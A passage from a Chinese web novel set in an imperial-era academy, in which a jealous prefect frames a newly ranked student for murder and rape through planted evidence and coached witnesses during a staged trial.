声量之大,瞬间引得整个二楼的客人们纷纷望了过来,满脸艳羡之意。 吴韧和汪启元这才骤然松了一口气,彻底放下了心来。 还好,还好没有太受到影响。 童启连忙追问道,“那其他人呢?其他人可有看清楚?” 店小二卡壳几秒,他方才只匆匆晃了一眼前两位,便忙不迭来报信领喜钱了,至于后面是谁,还真没注意到…… 好在酒楼老板行事周全,也跟着去看了看,忙上前补充道。 “在榜,皆在榜!郭胜开郭公子排名第四,刘卜温刘公子排名第十六,常仕进常公子位列第十八!” “那杨舟万呢?” 酒楼老板犹豫的看了对方一眼,欲言又止,提了几口气,这才委婉的贺道,“杨少爷也在,只是……末位及第,算是个榜尾秀才,排名第三十二位。” 呼,幸好! 考上了就行! 童启整个人安靠在椅背上,杨舟万更是半点没有嫌弃这名次靠后的意思,当即便蹦了起来,欢呼雀跃不止。 周围的镖师们忙帮着散起喜钱来。 大家这才后知后觉想起来,这已经是华夏书院第三次,全员上榜。 所有人,无一遗漏! 一时间,火热的视线如灼穿般看向了童山长本人。 而他却在听着系统成功通报声的同时,忍不住磨了磨牙。 这一次,可当真是在鬼门关门口直接走了一趟啊。 命悬一线,差一点,就小命不保了! 到底是谁在搞他?王学政是吧,咱们也是时候该见面谈一谈了! 第58章 第58章百口莫辩 欢天喜地的张榜,令整个河南府洋溢在一片热闹声之中。 可府衙后院,所有东西却被愤怒的砸了一地。 “这个老匹夫!我迟早有一日一定要杀了他!” 顾信之握紧了拳,气息紊乱,两手用力的撑在桌角处,青筋暴起。 任谁费尽心思,一番绸缪,到最后却落得一场空。 不仅半点没奈何到对方,反成了一场笑料,只怕皆会如此吧? 尤其顾信之一路官途顺遂,从未碰到过什么钉子,头一回如此屈辱憋闷,岂肯轻易罢休? 他满腔怒火,无从发泄,两旁随侍的小厮们颤颤巍巍,不敢多言,皆敛声屏气,低垂着脑袋,恨不得将耳朵都一并捂上。 丘师爷从外走来,俯身将地上的香炉捡起,上前宽慰道。 “大人,何必生气,要我说,他们再如何也不过是一群学生罢了,还能闹翻天不成?这还只是一个院试,离真正走上朝堂,还远着呢,更况且即便他们被选入,考上了进士,不也是您的教化之功?冤家宜解不宜结,我看不如……” “滚滚滚,你懂个屁!”顾信之烦躁打断道,“华夏书院势力庞大,若不一举压制下去,今后必被反伤!如今我俨然已经暴露,即便收手,他们也必会记恨。到时候纵虎归山,那才是真正的大患!” 一年,六个秀才! 看似不算多,可给他两年呢,给他三年呢,给他十年呢? 届时整个河南府,还有他顾知府说话的地方吗? 卧榻之地,岂容他人鼾睡? 顾信之握紧了拳,焦灼的踱着步。 丘师爷闻此,眼神变化了几分,想了想后,抬手令四处的人退下。 “其实,若您真的想处置他们,要我说,也不是全无没办法。” “哦?” 顾信之猛地转过身来,眼神急切。 丘师爷望望左右,压低声音道,“俗话说,释实而攻虚,释坚而攻脆,释难而攻易,要想对付他们这种人,您还是得找准要害之处,一击即中才是。” 顾信之眉头微动,微微俯下了一些身子。 “何为要害之处?你若有什么招数,不妨说来听听,倘若真能扳倒华夏书院,我必给你记首功!” 丘师爷顿时一喜,眼中闪过一丝贪婪,他咬紧了牙,终究还是拼不过想再往上爬一爬的想法,忙关上门,神秘兮兮道。 “大人,要说读书人,最重视的还得是名声。华夏书院走到今日靠的是什么,不就是靠的众人推崇吗?倘若这上面染上了污迹……拿了头名又如何,咱们不照样有理由,再把他扯下来吗?那城东灭门案,不还没有找到凶手?您觉得,吴韧如何?” 顾信之顿时如同那练武之人瞬间打通了所有关窍一般,茅塞顿开。 不由计上心来- 且说华夏书院众人发完喜钱,各自回屋整理要务,童启则特意寻了个空档,前往王府,面见王学政。 这一次,他没有再遇到任何阻拦,守门的小厮一听到是华夏书院的山长童启,便立马将人放了进去。 态度恭敬无比。 厅内,王学政正手持书册闲饮着茶水,见到他,顿时开口调侃道。 “呦,这不是我们每榜皆全员上榜的华夏书院童启童山长么?什么风倒把您给吹来了?这只听闻过考前给座师递行卷,图个好成绩的,可从没听过考后来拜的。你今日不带着学生们大肆庆祝,来我这里作何?” 童启也不客气,大剌剌行了一礼后,便自顾自的坐了下来,单刀直入道。 “学政大人不必取笑,我此次,正是为了这一次院试考试成绩而来的。” 王学政瞬间放下书,眼神严肃起来,微微坐起身子看向他。 童启将这几日学生们在考场上遇到的刁难一一讲出,虽不知道那幕后之人是谁,但本身学政就是负责整场考试所有事务的,本身就应该有知情权,谁料,还未说完,王学政便当场气的拍了桌子。 “卑鄙!简直枉为文人,他把河南府当成什么了,竟敢如此猖狂?” “他?” 敏感的察觉到这话似乎有所指,童启立刻询问到底发生了什么。 王学政这才将前几日考院中受到的威胁逼迫,和盘托出。 本来他是不愿说出这件事的,毕竟家丑不可外扬,好歹都是同朝为官,抬头不见低头见的,怎么也得跟朝廷留点脸面才是! 可谁能想到对方如此拙劣?一计不成,再生二计,若不提醒,保不准以后还会再用同样的手段,去祸害人。 倒不如干脆公开,还能令童启有个防备。 怎么也没料到,针对他们的竟会是新上任的知府大人。 童启满脸茫然。 “可……为何呢?我们华夏书院从未与他有过交集啊,又哪来的刻意针对?” 王学政也觉奇怪,他捻了捻胡须,猜测道,“会不会是因为党争站位之事?大家皆知道顾信之乃胡丞相一党,而你又和三皇子走得近,令人误解,倒也不是没可能。” “可三皇子不过是来看了场蹴鞠赛罢了,并未说什么,而且我们书院也从未公开站位过三皇子……” 童启有意辩驳一二,可想到什么,又闭上了嘴巴。 算了,如果真的是那种能听得进去解释的人,必会在动手前询问打探,证实一二,像这样毫无征兆,只是一味往死了整的,只能说明对方一开始就压根不想听什么真假。 不过寻个由头,找茬生事罢了。 那至于那由头是什么,又有何重要的呢? 他这才算是彻底明白过来,可紧接着便陷入了一场沉思之中。 若真的是知府在背后搞鬼的话,那确实有点棘手。 毕竟他们华夏书院如今“一穷二白”,除了学习,什么也拿不出来,要想自保反击,那实在是太难了,根本就不是一个level量级的。 系统躺在意识海中,翘着二郎腿围观着,手动为他点播了一首“雪花飘飘,北风萧萧……” 伴随着背景音乐,它像模像样的摇了摇脑袋,道。 “所以说啊,这就是你没有另起炉灶的危害之处了。若是我以往带的宿主,此时哪里还用管什么区区知府,早就自立为王了,还怕什么穿小鞋?直接干他娘的!” 童启:…… 没想到出门三个月,回来后的系统依旧是如此暴躁,张口闭口仍是那一套造反理论。 他无语的回怼道。 “所以,你就不怕我任务因此失败?主系统不都已经确定了咱们坚持的路子是对的吗,你还整日嚷嚷着谋权篡位,小心再一个蝴蝶效应,把成功给玩儿没了啊!” 系统:“你是成功,但你怎么知道是走的哪条路成功的?万一你最后接受的就是我的提议,推翻朝廷,重建规则,让四海皆臣服于你的威压之下,然后顺利达成桃李满天下的成就呢?这不也是一种可能吗?” 嗯…… 这逻辑,倒是无可辩驳。 童启整个人卡了一瞬,实在是想不到什么有力的反击话语,只能默默闭嘴。 好消息,你知道自己未来打赢了。 坏消息,你不知道自己怎么赢的! 摔,怎么感觉知道反而比不知道压力还要更大一些呢? 起码不知道还能随便浪,现在知道了,反束手束脚起来了! 童启整个人陷入了死循环之中。 而王学政见他久久没有开口,还以为是被吓住了,不得不出声宽慰道。 “别急。即便是知府,也是要讲究法度的。我大奉朝还从未有过以势压人,不讲道理的事!万事皆有理可循,这河南府并非他一人的天下,科举之事也并不是他一个人说了算。有我在的一日,他便不能那般嚣张。朝廷一贯注重人才,对于文人更是极尽优待,如今眼见着你们书院也做出了成绩,一切上了正轨,要想被推倒,可没那么容易!” 这倒是。 童启想起自己好不容易培养出的六名学生,这才稍稍感到了些许的安慰。 王学政端起茶盏抿了一口,犹豫的看向童启,忍不住打听道。 “说起你那些学生,倒的确个个皆是好苗子,只是出身有些低微,也不知家里是否说了亲?” 说亲?这才十五六岁,说什么亲? 童启随手拿起旁边果盘里的橘子,给自己剥了起来。 “他们都还小呢,不急,反正先立业后成家,再多等几年也没关系。” 王学政没好气的瞥了他一眼。 “你当然不急!可他们家中的父母,却未必。要我说,十六七岁也是时候定亲了,不然等考中进士,年纪便有些大过了头,若万一被榜下捉了婿,或者哪位公主看上了,更添愁绪!” 童启手下一滞,感觉这话说的有些微妙。 他警惕感瞬间拉满,防备的看向王学政,“什么意思,您又想要 干什么?给我的哪个学生说亲吗?” “你那是什么眼神!”王学政不服气道,“我若说亲,那必定是大户女子,名门闺秀,嫁妆钗奁之类的,不可能少。怎么,还难道配不上你那些穷学生吗?” 这倒不是。 童启连忙哄劝。 怎么说,王学政也是五品官员,若真看上了谁,还不就是一句话的事情?再说以他那些学生们的条件家境,确实一个比一个穷,不论谁嫁过来,都只能算是下嫁的份儿。 他这不是怕委屈了对方吗? 况且,这事情怎么也轮不到童启做主啊,人家爹娘们都还在呢!实在不行,问问本人也成啊,问他算个什么? “这便是你不懂礼数了。” 王学政站起身,仔细与童启讲起了婚嫁丧娶之事。 说亲说亲,向来都是父母之命,媒妁之言,从没听说过询问当事人的。 且山长为首师,本就属于半个父亲,地位尊崇,对学生一应事务更是拥有绝对的话事权,能和谁结婚,不能和谁结婚,通常也象征着整个师门的政治立场与倾向,不然的话,怎么会有那么多进士为了娶座师的女儿百般讨好呢?李商隐便是因为“娶错了”人,才导致成为两党的叛徒,牺牲品,被终生压制于仕途,无法寸进! 所以归根到底,联姻,不过是另一种意义上的资源互换罢了。 童启的意见,自然重要。 “实际上也没那么复杂,乃是我有一表侄女,他父母上任时意外遭了难,只留下她一人,从小养在我膝下,视若己出。人品贤淑,能诗善画,敬重长辈,才貌出众。如今眼瞅着到了出嫁的年纪,我不想她去那太高太复杂的门第,恰你那大徒弟吴韧,是个知恩懂报,踏实认真的人,和我那侄女岁数也较为相当。若是合适的话,倒不妨寻个媒人,来聊一聊,也算是一桩佳话。” 童启犹豫着,也觉得的确是个好机会。 他和吴韧相识最久,也最了解这个学生,对方勤勉恭顺,好学认真,虽有对哥嫂,但那也是个不靠谱的,半点帮衬不了。每次休沐时,其他学生们都下山回家了,唯独他孤零零一个人守在宿舍里,看起来分外寂寥,若明年真的中举,意外被外派到地方,少不得需要个贤内助帮忙打理内务,携手同行。 若是王学政的侄女的话,想必从小便熟悉这些,多少也能帮衬着,提点一二。 因此,他并没急着拒绝,只说道,“我回去会和他提一提的,若他愿意的话,我自不会反对,可若不愿,我也不会强求。” 王学政这才满意的点了点头。 有着童山长开口,吴韧这边,应是稳了。 剩下的便是准备一应嫁妆、六礼之事了。 他虽嘴上不说,可打心底里却是极其满意吴韧这人的,不论是性格还是其才华,都与年轻时的自己颇为相似,若好好培养,慢慢点拨,假以时日,必是一名清官,到时惠及地方,也不负他今日提携之意! 聊完正事,两个人又谈起了明年进京赶考的事情来,童启被强留着吃了顿饭,这才离开。 王府后院内。 王学政之妻吴氏也正拉着王绾儿及其表侄女王颖的手,细细查看着河南府内适宜结亲的人家。 “我觉得这两位都不错,一个是世家嫡次子,一个则年纪轻轻拿下了举人,听闻长相品行也具是上佳,绾儿,你看如何?” “嗯?”猛地被点到名字,脚边的绣榻上,王绾儿瞬间怔愣过来,忙接过那画像查看。 只见那卷上男子个个身姿俊秀,可容貌打扮,却并非自己喜欢的模样,不由一颗心又想起了那日城门外遇到的人。 可惜,当时也没来得及问问对方到底哪户人家,姓甚名谁,不然回头有机会……说不得还能再见上一见。 酸楚之间,也没看清,便随意指了一个。 “这位吗?”吴氏满意的点了点头,道,“虽说家世高一些,嫁过去,可能会有些辛苦操劳,但也还好,算得上良配。等有时间给他母亲下个帖子,约出来见见,你觉得如何?” 王绾儿再次神游物外。 丫鬟小环看出了自家小姐的不对劲,连忙帮着遮掩道。 “八成是小姐昨日练字有些晚了,精力不济。要我说,夫人也别只盯着小姐,还是多看看表小姐的亲事才是!咱们家即便晚两年,也是不迟的!” 吴氏嗔怪的瞪了小环一眼,拉起旁边坐着的表侄女,笑盈盈道,“这还用得着你说,颖儿这里啊,我早已经有了论断了,其实也不必我操心。前几日夫君还说呢,今日要约那人的师父来府上商谈,估摸着……应该已经谈的差不多了?” “这么快?定的哪户人家?我怎么没有听说?” 没想到如此突然,王绾儿及王颖皆有些意外之色,连忙追问。 “哪能让你们知晓?”那吴氏笑了笑,随手挥退左右闲散的婆子们,小心翼翼道,“我偷偷告诉你们,你们可别透露出去,听夫君说,乃是个青年俊杰,十分的有才华,如今刚刚在院试里拿下了头名,不仅家庭简单,性格也敦厚,他日啊,必是大才!” 话说到此,王颖的脸上早已经挂不住了。 她强握着手里的帕子,心中百转焦急,暗恨姑父的多事。 什么大才? 呸,不过就是个秀才公而已。 以自己的出身外貌,若是吴氏去聊,怎么也会像王绾儿这般配上个世家公子才是?可交给姑父呢?却只得个区区秀才?! 果然不是亲生的,就是偏心! 她暗恨自己一生的命运竟被如此轻飘飘定下,更心凉于在姑父姑母眼中,自己竟只配得上个秀才。 凭什么? 明明她长得比王绾儿还要更好看一些!才貌针线更是不输对方! 凭什么为什么王绾儿就能高嫁,她却只能低嫁? 王颖越想越气,不自觉握紧了手,指甲深陷于掌心之中,掐出了血,都不知晓。 她强忍着泪,陪同说笑着,可心底里却满是幽怨。 一旁的王绾儿倒是十分艳羡。 她喜欢简单的家庭,那些动不动就上上下下百十口的人,光是嫁过去认人便要认上许久,随便一个就能立规矩,给脸色,她最讨厌了!父亲一向处事公正,怕表姐有寄人篱下之感,一心想寻个能托付的,如今如此盛赞,想必这新晋秀才公确实有几分厉害之处,回头前途,定无可限量! 清水巷内。 吴韧等人正收拾着行李,准备归乡。 杨舟万拿着报喜之人发放的秀才文书,珍惜的看了又看,见到上面“见官不拜”、“田亩免税二十亩”等权力标注,更是欢喜的不行,他小心翼翼将其放置在包袱底层,这才彻底安心。 突然,街角外阵阵喧嚣声传来,一阵急促暴躁的敲门声响起,瞬间惊动了整个院落。 刘默及几位镖师忙上前查看。 只见几个衙役挎着刀,凶神恶煞的站在门口,吓得附近的商家们避让不已。 “这位官差老爷,这是……发生了何事?” “何事?我们怀疑你们这里窝藏嫌犯,现在正要搜查此处,将人带回去严加审问!识相的,就快滚开!” 刘默被一把狠狠推开,摔倒在地,被迫让开了遮挡的道路,一脸茫然。 嫌犯? 谁啊! 左右邻舍皆惊讶不已,小声议论着。 “怎么可能?定是弄错了吧?这里住的不是只有华夏书院的学生吗?哪里来的嫌犯啊?” “就是呀,而且咱们这儿也没听说有什么事发生啊……” 两个衙役一边搜索一边打砸,直奔吴韧的房门而去,不一会儿便在床下搜出了包脏兮兮的东西。 “找到了!果然在这里!华夏书院的吴韧可在?我们现在怀疑你涉嫌杀人、奸、、辱妇女,走吧,跟我们一起去衙门里走一趟吧!” 听到这话,所有人哗然大惊。 什么? 杀人?奸、、辱妇女? 别说使用了,就是听,这两个词汇也很少在吴韧这里听到过!猛地和自己挂上勾,简直就像是做梦一般,有种难以置信的荒唐感。 其他学生们更是提都别提,哪里见过这样的阵势,当场便被吓麻了爪,一句话也说不出。 倒是汪启元还有一抹神智尚存,忙让刘默去王学政府上,通知山长。 周围的百姓们连带着镖师只知道出手阻拦,可嘴上却不懂争辩。 几次下来,衙役们当场便拔了刀,怒吼道。 “怎么,你们难道是想拘捕不成?到底是不是杀人凶手,到了审一审就知道,秀才公,走吧。” 手中的铁链被晃荡的框框作响,虽未缠绕到吴韧的手上,可却压迫感十足。 一个衙役伸出手,恶狠狠扯了吴韧一下,直接将其扯了个踉跄,忙被旁边的百姓们给扶住了。 “走就走,你推什么人啊?” “就是,秀才公怎么可能是杀人犯!必是弄错 了。” 聚集的热心群众越来越多,有那仗义正直之辈,简直比华夏书院学生们还要更群情激奋些,当即便跟在他们身后,直奔府衙而去。 几日之内,高中榜首,又被逮捕入狱。 便是话本,也没有敢如此写的。 沿路的居民见到这架势,忙打听问到底发生了什么,听说是十几日前城东的灭门惨案有了结果,便也跟着纷纷凑上去看起了热闹。 队伍越来越长,连带着华夏书院的学生和镖师们也焦急的跟着前往。 刘默飞速的向着王府奔去。 简直用尽了九牛二虎之力,飞快的赶到了王府门前。可一问,却发现童启刚走没多久,两方正好岔开,不由六神无主,只得求助起王学政来。 先不说王学政听到这事,有多惊愕,只说此时的童启慢悠悠的往回走,也颇觉得哪里奇怪。 按理说府城院试刚过,街上应该有很多行人才是,怎么这一个两个的,皆没有摆出摊呢? 搞得他想要买些东西和孩子们回去庆祝一下,都买不到。 不知发生了什么,他挠挠头,边散着心,边往家走。 第59章 第59章绝世冤案 王学政散了宴席,换过一身常服,前往后院,刚打算跟表侄女说一下吴韧的事,还没起个头,门外管家便慌里慌张跑了进来。 “不好了,老爷,听闻吴案首犯了事,被衙门里抓了!” “什么?被抓了?犯了何事?” 王学政当场被惊得站起了身来。 管家犹犹豫豫看向尚在厅内的表小姐和夫人小姐们,嗫嚅着说道。 “据说……好像是涉及到杀人,奸、、辱妇女。” “什么?” 吴氏和王绾儿大惊失色,旁边的王颖更是眼一翻,直接晕厥了过去。 谁也没想到刚说好的婚事,竟横出一脚突然传出了如此难听的名声,王府后院内,顿时一阵鸡飞狗跳。 “快去请大夫!快去请大夫啊!表小姐晕过去了!” 丫鬟婆子们忙作一团,王学政为难的看了看自己的侄女,又纠结的看向等待的管家,来不及多想,便换回了官服,急匆匆带着刘默,前往了县衙。 他也好奇,这事情到底是怎么回事,吴韧怎么可能是杀人犯呢? 再没有如此荒唐的事情了! 而河南府府衙内,刚被抓到这里的吴韧,整个也处于恍惚的状态之中。 不少百姓围在堂外,七嘴八舌的讨论着。 顾信之身穿官服坐在堂上,威严之气立显,丘师爷安坐一旁,帮忙记录着口供,一边研墨,一边冷眼打量着这位新晋的秀才公。 衙役们分站两旁,同时敲响了手中的杀威棒,大喊着“威武”二字。 吴韧被一把推进堂内,站在下方。 旁边跪着两人,一位更夫模样,身着短打,头戴布巾,眼神瑟缩;另一位,则是仵作打扮,黄棕色薄袄配着一个窄袖褙子,袖旁纹着“万福”类的字样,神情恭敬。 顾信之抬手拍响惊堂木,装模做样问道。 “吴韧,你可知罪?” 这场景,这阵势,令吴韧只感觉如坠梦中,无法苏醒。他强行令自己冷静下来,躬身行了一礼,道。 “学生不知。” “大胆!你因为看上了城东柳氏,半夜溜进对方家中将其奸、、辱,不料却被其丈夫刘武所发现,仓皇之下,持刀杀死刘家上上下下五口人,如今证据确凿,人证物证皆在,还敢狡辩?” 吴韧脸色苍白,不自禁后退一步。 这……这怎么可能呢? 什么城东柳氏,他连听也未听过这名字啊! 不等他多思,顾信之冷哼一声,已经提前替他阐述起整个事件来。 “你说你不知?那我且问你,十日前,你半夜三更时分,正在哪里,做什么,可有人证明?” 十日前? 吴韧嘴唇干涩,努力回想着,那个时候他应该尚在院试准备期,刚进入河南府不久,三更时分的话…… “学生那时应该还在温习功课。” “彻夜?可有人证明?” “……并无。” 这大半夜的,谁还醒着,大部分人应该都已经睡过去了吧,再加上山长对学生们向来大气,每个人皆是单独一间安置,出没出去,在不在屋里,又有谁能知晓? “呵呵,你说你没出去?那当日的更夫见到的人影,难不成是鬼魂吗?王六,你来说,那日见到的,是不是他?” 旁边跪着的更夫颤颤巍巍抬头看了一眼,见到吴韧的穿着,当即瞪大眼睛道。 “是他,就是他!那一晚小民记得十分清楚,恰是三更刚过不久,小民正在打更巡逻,突然见到一人身着青色长衫闷着头往外走,唬得我吓了一跳!当时我还纳闷呢,这么大晚上的,出来做什么,没想到第二日刘家那里便发生了灭门惨案!” “你简直胡说,我压根没出来过……” “放肆,本官让你说话了吗?”顾信之狠狠拍了一下惊堂木,呵道,“王六,你继续说,确定自己当晚遇到的便是他?那你可看清楚了当夜对方的形色如何,可有异常?” 那王六做出一副仔细思考的模样,似想起什么,拍掌道,“哦,对了,我记得那夜看到他形色匆匆,手里仿佛拿着什么发光的东西,慌慌张张,一脸惊惧,似在逃命一般,衣角上,似乎还带着血迹!” 血迹? 堂外的百姓们瞬间瞪大了眼睛,倒抽一口冷气,惊诧不已。 华夏书院的学生们更是慌得不行,频频向外望去,等待着自家山长的到来。 杨舟万压低了声音,急得满额头皆是汗水,道,“这刘默到底行不行啊?怎么还没回来?” 顾信之却继续诱导般的询问着。 “哦?你说你记得他衣角上带着血迹,那你可还记得,是在哪里?形状如何?” “大概,就在这个地方,右下角靠大腿之处,至于形状嘛……” “来人啊,呈上在吴韧住处下所搜出来的东西!” 旁边的衙役早已等候多时,抱着那包袱便走上了前来。 “大人,这便是方才在他床下搜到的。” 东西打开,乃是一件青色的长衫,正是华夏书院常穿的校服类型。 那长衫包裹着一把尖锐的刀具,上面还沾染着血的锈迹,斑斑驳驳,展开,右下角处,正如同更夫所说的一般,有一片血迹。 大小,模样,都十分相似。 围观的群众们顿时眉头紧皱,嫌恶的后退两步。 这东西,是很多人眼睁睁看着衙役们从吴韧床下搜出来的,谁也没想到,竟然会是凶器。 不少人不禁怀疑起了自己的判断,难道这新晋秀才公竟是个道貌岸然之人?外表纯良,实则内里藏奸,不然怎么会谁也没怀疑,偏偏怀疑上他呢? 无风不起浪,莫不是真有什么事情吧? 吴韧本人看着那东西,整个人几乎都快要碎掉了,尤其是那长衫上沾染的血迹,更是令他无可辩驳。 “怎么可能呢?” 那长衫,他分明连穿没有穿出去过,一直放在衣柜里的呀! 至于那把尖利的刀,便更是离谱了,他压根就没有买过,怎么会出现在自己的床下呢? “难怪找不到杀人工具,原来竟是被你藏了起来?堂下仵作可在,来看看,是否和死者身上的伤口一致?” 旁边跪着的仵作躬身向前,仔细查验了一番后,点头肯定道。 “禀大人,确实与死者身上的伤口乃是相同的刀具。且看上面的锈迹,已经有一段时间了。” 这句话,直接往物证上加了最后一块砝码。 就如同一个故意设下的死局,在渐渐缩小存活的范围,令人难以突破过去。 眼见着人证物证皆在,吴韧百口莫辩。 百姓间的舆论也随着事件的发展,整个倒戈,变得不利起来。 顾信之得意一笑,拍响了惊堂木,问道。 “如此,你可还有话可说?吴韧,这长衫和 刀具可皆是从你的住处里找出来的,在场的衙役百姓皆可证明。甚至这衣服,还是你们华夏书院的校服,没错吧?十日前,你半夜因着院试焦虑难眠,于是偷溜出去,没想到正好碰上柳氏貌美,便起了心思,将其奸污,紧接着又怕行踪败露,干脆杀死刘家五口,又将刀具拿走,藏于床下,我可有说错?” “没有!我真的没有做那些!那衣服确实是我的,可我也不知道为什么会……” “还敢狡辩?虽然本朝确实有刑不上大夫的规矩,可你涉及杀人、奸、、辱他人妻女,实在是罪大恶极!如今竟还矢口否认,满嘴谎言,看来必须得上点刑,才会开口了,来人啊,将老虎凳抬上来,先打他个二十大板!” 在场所有人头皮一凌,不由深吸一口凉气。 二十大板,对于一个秀才公来说,那可是妥妥的酷刑啊! 这若打下去,还能起身? 吴韧不断挣扎着,挺直腰杆,仍旧在摇头争辩,与自己无关。他难以想象如此离谱的事情竟然会就这么被安插在自己头上,可堂上诸位大人却视若无睹,摆摆手,强令执刑。 “哎呀,这和屈打成招又有何区别?启元兄,你快想想办法啊!” 旁边的郭胜开不忍再视,连忙求助道。 可汪启元也很急啊,他虽入学最早,可又哪里经历过与远高于自己的官员争辩的事情?此刻大脑里拼命想着山长之前讲过的故事,可偏偏哪一个都无法带入今日之事。 归根结底,不在于这案件到底是真还是假,而是他们这些学生,压根就没有在知府面前辩驳的权力! 还未开口,便被斥退了。 这一瞬间,他无比埋怨自己的弱势,要不是向上爬的太慢,又怎么会沦落到毫无争论,只能眼睁睁被迫接受的境地呢? 就在众人以为将要完了的时候,堂外一声震呵。 “且慢!” 刘默带着王学政匆匆走了进来。 “我看有我在,谁敢屈打成招?顾知府,你这样审案,未免有些过于儿戏了吧?” 顾信之看到王学政入内,不由咬紧牙关,皮笑肉不笑道。 “王学政,我身为知府,自然有审查案犯的权力,要如何审,怎样审,便不劳王学政操心了吧?” “你自然有着审案权,可我身居五品官,也有旁观的权力,更有看到不公正之处,向上启奏之权!这吴韧乃是新晋的秀才榜首,又是我未来的侄女婿,你想打他,仅凭这些,可还不足够!” 侄女婿? 这话一说,华夏书院的学生们和吴韧皆是一愣。 顾信之却挑了挑眉,有些觉得好笑。 这老匹夫,平日里看着不苟言笑,合着背地里竟然已经和华夏书院走的如此近了!还联了亲?好啊,既如此,那便更好了。 干脆一蹴而就,全部带走。 有着这样的侄女婿,王学政以后,也算是彻底废了。 他冷笑一声,抬手让旁边的衙役搬来一个凳子。 “好啊,既如此,那我也倒想看看,铁证如山,还有什么可辨之处?” 清水巷内,童启越走越觉得奇怪。 怎么左右邻里今日如此安静? 按理说他们刚刚中榜,正是被附近群众们疯狂拜访的时候,昨日不还说着要帮忙庆祝,这怎么今日就像是集体出门了一般,难道有什么他也不知道的活动么? 正疑惑着,恰巧碰上刘默妹妹急匆匆拿着竹筒出门寻自己的兄长。 看到童启后,她惊讶不已。 “山长?您怎么还在这里,哥哥没有跟您说吗?吴韧吴秀才被府衙里的官差抓走了,说是涉嫌杀人,如今正在堂上审问呢!” “什么?” 涉嫌啥玩意儿? 童启险些以为自己耳朵出了问题,听错了,然而系统的突然上线,却让他整个清醒过来。 【叮,意外开启探案支线,请于三日内为自己的学生洗清冤屈,并找到城东灭门案的真正凶手! 成功:奖励解锁校长独立办公室 失败:无惩罚】 童启当即转过身,飞速向府衙内跑去,刘默妹妹则紧随其后,速度渐渐落下了一大截来。 而府衙内,审问仍旧在继续。 即便王学政在旁观看,也影响不了人证物证的无懈可击。 有着人撑腰,吴韧好歹渐渐冷静了下来,大脑里迅速复盘着方才的信息,出声问道。 “学生有一疑惑,还请询问一下这位更夫。您说当时看到我乃是三更时分,属于后半夜,那么按理说无灯无火,你连我手上的凶器都难以看清,那又是如何看到衣衫上的血迹的?就算此案真是我所作,以我的性格,又怎么会将当日的东西皆存起来,却不毁坏呢?这不符合逻辑。” 那更夫猛地被追问,忙辩驳道,“这有什么不符合逻辑的?小老儿我视力一向很好,夜间视物,也很正常啊!” “那你为什么没死?若他一口气杀了五个人,骤然见到你,为何不干脆做绝,以除后患呢?” 旁边的汪启元骤然开口道。 刘卜温吓得忙清了清嗓子,扯了扯对方的衣角,让其注意一些。 王学政更是颇为惊讶,忍不住侧目而视。 他始终听闻汪启元和吴韧乃是华夏书院并列的双雄,便一直以为这两个人性格应该也十分相仿,却没料到,这汪启元竟能说出这样的狠话! 如此心性口气,不像是文人,倒像是什么奸雄一般? 难怪小小年纪,便能够破釜沉舟,带着全部的家产献给木知府,光是这份狠绝果断,便非常人所有。 他日入驻朝廷,只怕不是高官,便是奸佞啊! 童启这书院,可真是藏龙卧虎,令人惊喜。 那更夫被这话吓得后退两步,不自觉辩驳道,“有可能……他只是没看到过,或者来不及呢?而且当时已经快天明了,他许是怕人撞见,所以才……” “快天明?你方才不还说是三更时分遇到他的吗?怎么这会儿又成天明了。”王学政厉声问道。 那更夫表情更是瞬间一慌。 顾信之眯了眯眼,看了眼旁边的丘师爷,对方点点头,起身去后院,带新的证人上来。 “不必多疑,许是日久,更夫记忆有所错漏也说不定,这证明不了什么。来人,传柳氏入堂!” “传柳氏入堂!” 谁也没想到,当日的灭门惨案,竟还会留着一个遗漏的!那被奸、、辱的女子实际上并没有彻底咽气,倒是身上被捅了几刀,被府衙成功医治后,便活了过来!始终留在衙门中,等待最后一击。 所有围观的百姓忍不住惊呼出声,感觉这剧情简直比话本还要精彩许多,个个瞪大了眼,伸长了脖颈。 只见一妇人疯疯癫癫,头发披垂着,身上的衣服乱七八糟,感觉步伐都有些混乱,刚被带入,一见到吴韧便歇斯底里大喊大叫起来。 “啊啊啊就是他,不要伤害我,不要伤害我!就是他,是他杀了我全家,孩子他爹啊,你死的好惨啊,别打我,我这就去见你,我是干净的,我是干净的!” 旁边的丘师爷上前一步,冷静的指向旁边的吴韧问道,“你说的人,就是他吗,确定是他,杀了你全家,将你奸、、辱的?” 那女子浑身颤抖了一瞬,像是见到了什么顶级可怕的东西,匆匆看了吴韧一眼,便忙不迭点头道,“就是他,就是他!” 有着当事人的亲自指正,这下别说汪启元了,就连王学政也没了话讲。 大家皆被震慑在了原地,顾信之这才扬起一抹笑容,慢悠悠道。 “柳氏,那你可要看好了,这可关乎一个秀才公的未来。我再给你一次机会,仔细看一遍,是不是这位,若真的是他的话,不仅院试成绩做不得数,他可能还要被判处极刑,上报刑部,大理寺去!连带的一应相关人员也需得受到严刑审问!不可赦免!” 堂下所有华夏书院的学生们皆脸色一白。 吴韧本人更是近乎魂飞魄散,嘴唇都干的快要起皮了。 他崩溃不已,从未想过,一个人的清白,五个人的性命,可以就此被玩弄于股掌之间,他看向那地上跪着的女子,堂上安稳坐着的知府大人,心底更是凉的可怕。 难怪,他这才总算知道了山长大人始终强调的“平等,百姓”到底是何意义。 又为何总是格格不入之感。 当顶级的权力被掌握在贤臣手中时,那代表的是国泰民安,公正,沉冤得雪;而被掌握在贪官佞臣手中时,便是一把刺向平民的利刃,谁也无可幸免,哪怕他已经看到了希望,快爬上了“士”的阶层,成为他们之中的一份子。 想舍,也可以轻易的被舍去。 这便是先天的阶级。 柳氏被再次询问,眼中闪过一丝疯狂与怨恨,她咬牙点了点头道,“是,确实就是他!” 罪名被彻底敲实,吴韧整个人都感觉无力了起来,可始终硬挺着的脊柱,却从未弯曲。 “怎么,如此,吴韧你还是不认吗?” 顾信之俯视着下方的学子,蔑视问道,如同高坐在阁楼之上一般,与所有百姓皆不在一个水平面上。 可吴韧却分毫不让。 “不是我做的,我自然不认。” 他眉目冷峻,语气坚定道。 死有何惧?即便死,他也需死得其所,清清白白,端端正正,如此,方不堕他华夏书院的名声! 可顾信之要的便是这句话,他抬了抬眉眼,缓缓笑出了声。 “好,既然如此,那便给我打。” 签筒里这一次顺利的扔下了签子,再无人阻拦。 而围观的百姓们则纷纷叫好,以为是了却了一桩公案,没有任何可疑之处。 王学政肩膀倾垂下来,无奈的闭上了眼睛,长叹一口气。 吴韧被众衙役拉扯着,强行拖按在了老虎凳上。 